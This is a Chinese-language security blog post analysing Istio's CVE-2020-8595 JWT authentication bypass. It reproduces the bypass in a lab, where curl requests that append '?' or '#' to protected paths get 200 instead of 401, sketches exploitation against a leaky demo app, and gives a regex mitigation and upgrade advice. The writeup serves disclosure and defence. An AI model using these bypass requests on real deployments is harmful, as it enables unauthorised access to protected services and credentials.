【雲原生攻防研究】Istio訪問授權再曝高危漏洞

綠盟科技發表於2020-03-19

一.概述

在過去兩年,以Istio為代表的Service Mesh的問世因其出色的架構設計及火熱的開源社群在業界迅速聚集了一批擁簇者。Service Mesh不僅可以降低應用變更過程中因為耦合產生的衝突(傳統單體架構應用程式程式碼與應用管理程式碼緊耦合),也使得每個服務都可以有自己的團隊從而獨立進行運維。

在給技術人員帶來這些好處的同時,Istio的安全問題也令人堪憂,正如人們所看到的,微服務由於將單體架構拆分為眾多的服務,每個服務都需要訪問控制和認證授權,這些威脅無疑增加了安全防護的難度。

Istio在2019年一月份和九月份相繼曝出三個未授權訪問漏洞(CVE-2019-12243、CVE-2019-12995、CVE-2019-14993),其中CVE-2019-12995和CVE-2019-14993均與Istio的JWT機制相關,看來攻擊者似乎對JWT情有獨鍾。2月4日,由Aspen Mesh公司的一名員工發現並提出Istio的JWT認證機制再次出現服務間未經授權訪問的Bug,並最終提交了CVE,CVSS機構也將此CVE最終評分為9.0,可見此漏洞之嚴重性。

本文以JWT作為出發點,首先對其進行介紹,進而延伸到Istio的JWT認證機制及對此次漏洞的剖析,最後透過實驗還原CVE-2020-8595漏洞的攻擊場景。

二.背景

JSON Web Token(JWT)是為了在網路應用環境間傳遞宣告而執行的一種基於JSON的開放標準。JWT也是目前最流行的跨域認證解決方案,對於認證問題,業界一般採用的模式為服務端儲存session,客戶端透過服務端返回的session_id(即cookie)與服務端進行身份驗證從而得知使用者身份。這種模式目前存在的問題是擴充套件性不好,單機沒有問題,但在分散式叢集環境中是要求session資料共享的。

舉個例子來說明,A網站和B網站是同一家公司的關聯服務,現在要求,使用者只要在其中一個網站登入,再訪問另一個網站就會自動登入,一種解決辦法是採用session將資料持久化,寫入資料庫,當服務收到請求時都向持久層請求資料,這種方式缺點是工作量大,另外萬一資料庫掛掉就會存在單點失敗問題。另外一種方案是索性將資料儲存在客戶端,服務端不儲存資料了,每次請求都發回服務端,JWT就是這種方案的一個代表。

JWT的原理也較好理解,伺服器認證之後會返回一個json物件併傳送給客戶端,這樣每次與服務端通訊時都要以此json物件作為憑證去訪問,當然考慮到安全問題(使用者可能會對json資料進行篡改),服務端生成json物件時會加上簽名,故服務端不儲存session了,且變為無狀態,達到了易於擴充套件的目的。

Istio架構中的JWT認證主要依賴於JWKS(JSON Web Key Set), JWKS是一組金鑰集合,其中包含用於驗證JWT的公鑰,在Istio中JWT認證策略通常透過配置一個.yaml檔案實現,為了便於理解,以下是一個簡單的jwt認證策略配置:

issuer: https://example.com
jwksUri: https://example.com/.well-known/jwks.json
triggerRules:
- excludedPaths:
  - exact: /status/version
  includedPaths:
  - prefix: /status/

其中:

issuer:代表釋出JWT的發行者;

jwksUri: 獲取JWKS的地址,用於驗證JWT的簽名,jwksUri可以為遠端伺服器地址也可以在本地地址,其內容通常為域名或url, 本地會存在某個服務的某路徑下;

triggerRules(重要):此引數意思為Istio使用JWT驗證請求的觸發規則列表,如果滿足匹配規則就會進行JWT驗證,此引數使得服務間認證彈性化,使用者可以按需配置下發規則,以上策略triggerRules部分的意思為對於任何帶有“/status/”字首的請求路徑,除了/status/version以外, 都需要JWT認證「此次漏洞也是出在這個triggerRules機制上」

關於triggerRules配置詳細內容可以參考https://istio.io/docs/reference/config/security/istio.authentication.v1alpha1/

三.漏洞說明

關於CVE-2020-8595漏洞,Istio的官方宣告為:

A bug in Istio’s Authentication Policy exact path matching logic allows unauthorized access to resources without a valid JWT token. This bug affects all versions of Istio that support JWT Authentication Policy with path based triggeRules. The logic for the exact path match in the Istio JWT filter includes query strings or fragments instead of stripping them off before matching. This means attackers can bypass the JWT validation by appending ? or # characters after the protected paths.

從中可以看出問題出現在Istio JWT策略配置中的triggeRules機制,triggeRules包含請求url的字串匹配機制,主要有以下四種:

【雲原生攻防研究】Istio訪問授權再曝高危漏洞

圖1 triggeRules字串匹配型別

「exact」是導致這次漏洞的罪魁禍首,它代表完全匹配的字串才可以滿足要求, 而完全匹配原則是需要包含url後面所附帶的引數(“?”)以及fragments定位符("#"),而不是在匹配之前將“?”和“#”隔離的內容進行分離,這裡為了便於理解,舉一個完整的url例子說明,如下所示:

【雲原生攻防研究】Istio訪問授權再曝高危漏洞

圖2 完整的url示意圖

triggeRules中exact匹配的內容應當“/over/there?name=ferret#nose”,而不是“/over/there”,Istio的JWT認證策略在填寫triggeRules時只考慮到了path部分,而省略了query和fragment部分,從而攻擊者可以透過在受保護的path後新增“?”或“#”進行繞過從而達到未授權(JWT)訪問。以Istio的JWT認證策略舉例更容易理解,如下所示:

指定JWT保護路徑的原始認證策略如下:

---

apiVersion: "authentication.istio.io/v1alpha1"

kind: "Policy"

metadata:

  name: "jwt-example"

  namespace: istio-system

spec:

  targets:

  - name: istio-ingressgateway #需要在Istio閘道器入口處部署JWT認證策略

  origins:

  - jwt:

      issuer: "testing@secure.istio.io" #JWT頒發者

      jwksUri: "https://raw.githubusercontent.com/istio/istio/release-1.4/security/tools/jwt/samples/jwks.json" #用於驗證JWT的JWKS所在URL

      trigger_rules: #JWT驗證請求的觸發規則列表

      - included_paths: #代表只有訪問包含以下路徑規則才需要JWT認證

        - exact: /productpage #滿足路徑與productpage完全匹配後,才可以訪問productpage服務(需要JWT認證,沒有有效JWT無法訪問)

問題出在最後一行,如果exact處的url為“/productpage?a=1”或者“/productpage?b=1#go”,那麼按照匹配原則,訪問路徑應該是定位到

https://example.com//productpage?a=1及https://example.com/productpage?b=1#go”

由於這兩個url都屬於“/productpage”路徑下,那麼應該當透過JWT身份認證後才可以訪問,但因為服務端Istio沒有做好防護,將query部分和fragment部分與path進行分類處理了,認為“/productpage?a=1” 不屬於“/productpage”這個path, 並且認為其沒有新增JWT策略所以不需要進行認證,從而攻擊者可以透過在path後新增“#”或“?”輕鬆繞過JWT認證進行未授權訪問。


四.實驗驗證

4.1 環境

Istio版本:v1.4.2

Kubernetes版本:v1.16.2

叢集主機: node1(Master)/node2 (Slave) 

作業系統:Ubuntu 18.04

4.2 準備工作

4.2.1建立foo名稱空間

kubectl create ns foo

4.2.2建立httpbin服務

httpbin.yaml 在istio/istio-1.4.2/samples/httpbin路徑下

kubectl apply -f <(istioctl kube-inject -f httpbin.yaml) -n foo

4.2.3建立httpbin gateway

#建立httpbin gateway

kubectl apply -f - <<EOF

apiVersion: networking.istio.io/v1alpha3

kind: Gateway

metadata:

  name: httpbin-gateway

  namespace: foo

spec:

  selector:

    istio: ingressgateway # use Istio default gateway implementation

  servers:

  - port:

      number: 80

      name: http

      protocol: HTTP

    hosts:

    - "*"

EOF

4.2.4暴露httpbin服務

#透過ingress gateway將httpbin服務暴露在外部可訪問

kubectl apply -f - <<EOF

apiVersion: networking.istio.io/v1alpha3

kind: VirtualService

metadata:

  name: httpbin

  namespace: foo

spec:

  hosts:

  - "*"

  gateways:

  - httpbin-gateway

  http:

  - route:

    - destination:

        port:

          number: 8000

        host: httpbin.foo.svc.cluster.local

EOF

4.2.5對httpbin服務部署JWT策略

cat <<EOF | kubectl apply -n foo -f -

apiVersion: "authentication.istio.io/v1alpha1"

kind: "Policy"

metadata:

  name: "jwt-example"

spec:

  targets:

  - name: httpbin

  origins:

  - jwt:

      issuer: "testing@secure.istio.io"

      jwksUri: "https://raw.githubusercontent.com/istio/istio/release-1.4/security/tools/jwt/samples/jwks.json"

      trigger_rules:

      - included_paths:

        - exact: /ip

  principalBinding: USE_ORIGIN

EOF

4.2.6設定環境變數

export INGRESS_HOST=http://192.168.19.11:31380

4.3 場景復現

首先我們先訪問一個未加JWT認證的url path“/user-agent”:

root@node2:~# curl -v $INGRESS_HOST/user-agent

* Trying 192.168.19.11...

* TCP_NODELAY set

* Connected to 192.168.19.11 (192.168.19.11) port 31380 (#0)

> GET /user-agent HTTP/1.1

> Host: 192.168.19.11:31380

> User-Agent: curl/7.58.0

> Accept: */*

< HTTP/1.1 200 OK

< server: istio-envoy

< date: Thu, 05 Mar 2020 06:47:22 GMT

< content-type: application/json

< content-length: 34

< access-control-allow-origin: *

< access-control-allow-credentials: true

< x-envoy-upstream-service-time: 7

{

"user-agent": "curl/7.58.0"

}

可以看到返回200狀態碼,訪問成功。

接著再訪問加了JWT認證的url path "/ip":

Origin authentication failed.root@node2:~# curl -v $INGRESS_HOST/ip

* Trying 192.168.19.11...

* TCP_NODELAY set

* Connected to 192.168.19.11 (192.168.19.11) port 31380 (#0)

> GET /ip HTTP/1.1

> Host: 192.168.19.11:31380

> User-Agent: curl/7.58.0

> Accept: */*

< HTTP/1.1 401 Unauthorized

< content-length: 29

< content-type: text/plain

< date: Thu, 05 Mar 2020 06:49:37 GMT

< server: istio-envoy

< x-envoy-upstream-service-time: 0

可以看到服務端返回401 Unauthorized拒絕訪問,原因是需要認證授權,證明策略生效了。

我們再訪問JWT認證下的path + query(透過新增”?“符號)

root@node2:~# curl -v $INGRESS_HOST/ip?a=1

* Trying 192.168.19.11...

* TCP_NODELAY set

* Connected to 192.168.19.11 (192.168.19.11) port 31380 (#0)

> GET /ip?a=1 HTTP/1.1

> Host: 192.168.19.11:31380

> User-Agent: curl/7.58.0

> Accept: */*

< HTTP/1.1 200 OK

< server: istio-envoy

< date: Thu, 05 Mar 2020 06:53:00 GMT

< content-type: application/json

< content-length: 29

< access-control-allow-origin: *

< access-control-allow-credentials: true

< x-envoy-upstream-service-time: 5

{

"origin": "10.244.0.0"

}

可以看到返回為200狀態碼,說明不需要JWT的認證也可以訪問ip這個path下的內容,從而完成繞過。

同理在url後新增“#”符號也完成繞過。

4.4驗證PoC

綠盟君在網上找到一個PoC可以驗證此漏洞,此指令碼由Google Istio團隊Francois Pesce 提供:

https://gist.githubusercontent.com/nrjpoddar/62114128d12478abe8366404bf547b77/raw/1475213902932cc157f49fc0584b8f231e887394/check.sh

實驗結果如下:

root@node2:/home/puming/test# ./test_istio_jwt_cve.sh  istio/proxyv2:1.4.2

/home/puming/test/cve-2020-8595.VzW0Mi /home/puming/test

./test_istio_jwt_cve.sh: line 260: warning: here-document at line 148 delimited by end-of-file (wanted `EOF')

Sleeping for 5 seconds so the docker container is up and running

[CVE-2020-8595] Vulnerable

3d74c863fdb819f2bcabb8334b1e8f4fdd56c9d0908918ef4f900131fb21c814

/home/puming/test

確實可以證明Istio環境存在漏洞,感興趣的讀者可以自己嘗試。

4.5 漏洞利用

未授權的訪問漏洞經常會使攻擊者有機可乘,透過未授權的資源訪問達到一些目的,綠盟君將透過一個簡單實驗說明此漏洞的可利用性。在Istio環境中,首先部署了一個基於django框架的Web應用,此Web應用因為存在某介面($INGRESS_HOST/apps)的未授權訪問漏洞以及邏輯缺陷導致敏感資訊洩漏, 透過直接訪問

curl -v $INGRESS_HOST/apps?manifest=com.canonical.ubuntu.desktop

curl -v $INGRESS_HOST/apps?manifest=com.mozilla.mozdef 可以將漏洞資訊還原,如下所示:

【雲原生攻防研究】Istio訪問授權再曝高危漏洞 【雲原生攻防研究】Istio訪問授權再曝高危漏洞

圖3 敏感資訊洩漏

透過上圖的紅框部分可以看出,該網站的app詳細資訊介面由於未授權訪問漏洞暴露了app的敏感資訊,例如埠號、作業系統版本、使用者名稱密碼等。對於網站開發人員來說,可能並不知此漏洞的存在,於是潛在的危險出現了,以下將還原整個過程,首先將此應用部署至Istio,透過下發JWT策略對”/apps”進行身份認證,配置如下:

cat <<EOF | kubectl apply -n foo -f -

apiVersion: "authentication.istio.io/v1alpha1"

kind: "Policy"

metadata:

  name: "jwt "

spec:

  targets:

  - name:  web-test

  origins:

  - jwt:

      issuer: "testing@secure.istio.io"

      jwksUri: "https://raw.githubusercontent.com/istio/istio/release-1.4/security/tools/jwt/samples/jwks.json"

      trigger_rules:

      - included_paths:

        - exact: /apps

  principalBinding: USE_ORIGIN

EOF

配置成功後進行訪問,可以看到訪問失敗,證明JWT策略生效了,如下所示:

root@node2:~# curl -v $INGRESS_HOST/apps/

* Trying 192.168.19.11...

* TCP_NODELAY set

* Connected to 192.168.19.11 (192.168.19.11) port 31380 (#0)

> GET /apps/ HTTP/1.1

> Host: 192.168.19.11:31380

> User-Agent: curl/7.58.0

> Accept: */*

< HTTP/1.1 401 Unauthorized

< content-length: 29

< content-type: text/plain

< date: Thu, 07 Mar 2020 04:49:37 GMT

< server: istio-envoy

< x-envoy-upstream-service-time: 0

以攻擊者視角嘗試訪問”/apps?”:

root@node2:~# curl -v $INGRESS_HOST/apps?

* Trying 192.168.19.11...

* TCP_NODELAY set

* Connected to 192.168.19.11 (192.168.19.11) port 31380 (#0)

> GET /apps? HTTP/1.1

> Host: 192.168.19.11:31380

> User-Agent: curl/7.58.0

> Accept: */*

< HTTP/1.1 200 OK

< server: istio-envoy

< date: Thu, 07 Mar 2020 04:53:00 GMT

< content-type: application/json

< content-length: 29

< access-control-allow-origin: *

< access-control-allow-credentials: true

< x-envoy-upstream-service-time: 5

可以成功訪問,證明了Istio的未授權訪問漏洞確實存在,於是攻擊者可以完美繞過JWT認證並且成功利用到程式自身的漏洞,進而訪問到每個app的敏感資訊,一旦攻擊者擁有這些敏感資訊例如使用者名稱密碼,便可直接對網站上的app進行訪問,植入後門,後果不堪設想。

以上只是一個簡單的漏洞利用場景,現實攻擊中,開發人員還有可能因為疏忽在某訪問路徑下放置金鑰資訊,攻擊者一旦拿到金鑰便可透過ssh登入到其它主機從而展開持續性攻擊,所以Istio所爆的漏洞只是為攻擊者開啟了一扇門,使用者自己的應用程式安全性才是最重要的。


五.修復方法

透過新增正則臨時緩解

由於triggeRules中url的字串匹配機制支援正規表示式,所以我們可以加上正則防止繞過:

- jwt:

    issuer: "testing@secure.istio.io"

    jwksUri: "https://raw.githubusercontent.com/istio/istio/release-1.4/security/tools/jwt/samples/jwks.json"

    trigger_rules:

    - included_paths:

      - regex: '/productpage(\?.*)?' #

      - regex: '/productpage(#.*)?'  #


此正規表示式滿足 path + query + fragment 完全匹配,我們可以簡單實驗下可行性:


給exact路徑新增正則匹配前先將之前的策略刪除。


root@node1:/home/puming/istio/istio-1.4.2/samples/httpbin# kubectl delete policy.authentication.istio.io jwt-example -n foo

policy.authentication.istio.io "jwt-example" deleted

root@node1:/home/puming/istio/istio-1.4.2/samples/httpbin# cat <<EOF | kubectl apply -n foo -f -

> apiVersion: "authentication.istio.io/v1alpha1"

> kind: "Policy"

> metadata:

>   name: "jwt-example"

> spec:

>   targets:

>   - name: httpbin

>   origins:

>   - jwt:

>       issuer: "testing@secure.istio.io"

>       jwksUri: "https://raw.githubusercontent.com/istio/istio/release-1.4/security/tools/jwt/samples/jwks.json"

>       trigger_rules:

>       - included_paths:

>         - regex: '/ip(\?.*)?'

>         - regex: '/ip(#.*)?'

>   principalBinding: USE_ORIGIN

> EOF

policy.authentication.istio.io/jwt-example created


再訪問ip的完整URL,如下所示,可以看到服務端返回401 Unauthorized拒絕訪問,說明正則匹配生效,'/ip(#.*)?'同理。


root@node2:~# curl -v $INGRESS_HOST/ip?a=1

*   Trying 192.168.19.11...

* TCP_NODELAY set

* Connected to 192.168.19.11 (192.168.19.11) port 31380 (#0)

> GET /ip?a=1 HTTP/1.1

> Host: 192.168.19.11:31380

> User-Agent: curl/7.58.0

> Accept: */*

< HTTP/1.1 401 Unauthorized

< content-length: 29

< content-type: text/plain

< date: Thu, 05 Mar 2020 07:02:58 GMT

< server: istio-envoy

< x-envoy-upstream-service-time: 0

升級Istio至1.4.4和1.3.8以及之後的版本


六. 漏洞評估

CVSS評分為9.0分[6],級別定位嚴重,綠盟君認為未經認證授權訪問會帶來很多嚴重性後果,如果是授權頁面的話,其它使用者可以隨意訪問,從而會引起重要許可權可能被操作、網站目錄、資料庫等敏感資訊洩漏的風險。在Kubernetes環境下,容器為執行Pod的載體,由於Pod內容器之間可以透過Localhost互相訪問,所以一旦有一個容器失陷,進而會傳播到Pod中的其它容器,如果是特權容器,還有可能風險更為嚴重,所以此漏洞在微服務環境中風險較大。


七. 總結

CVE-2020-8595漏洞讓Istio的安全管理機制脆弱性得以暴露,那麼JWT自身又存在哪些安全風險呢?綠盟君透過對JWT的研究瞭解到JWT本身是不加密的(加密只有JWT的Signature部分)並且是無狀態的,所以JWT很容易洩漏並且被利用,雖然Istio的mTLS機制可以解決服務間通訊的流量加密問題,但這樣JWT就足夠安全了嗎?答案是不一定,畢竟誰也不能確保不會把JWT硬編碼在原始碼中。現實攻擊手段變幻莫測,唯有知己知彼方可百戰百勝,這就需要從自身培養安全意識做起,防護應由內而外,只有這樣,我們的系統才夠安全。


八.參考文獻

[1] https://blog.christianposta.com/how-a-service-mesh-can-help-with-microservices-security/

[2] http://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html 

[3] https://istio.io/docs/reference/config/security/istio.authentication.v1alpha1/#Jwt

[4] https://tools.ietf.org/html/rfc7517

[5] https://istio.io/docs/tasks/security/authentication/authn-policy/#enable-mutual-tls-per-namespace-or-service

[6] https://istio.io/news/security/istio-security-2020-001/

[7] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8595

[8] https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-8595

[9] https://aspenmesh.io/aspen-mesh-1-4-4-1-3-8-security-update/

[10] https://istio.io/docs/reference/config/security/istio.authentication.v1alpha1/

[11] https://gist.githubusercontent.com/nrjpoddar/62114128d12478abe8366404bf547b77/raw/1475213902932cc157f49fc0584b8f231e887394/check.sh

[12] https://istio.io/news/security

相關文章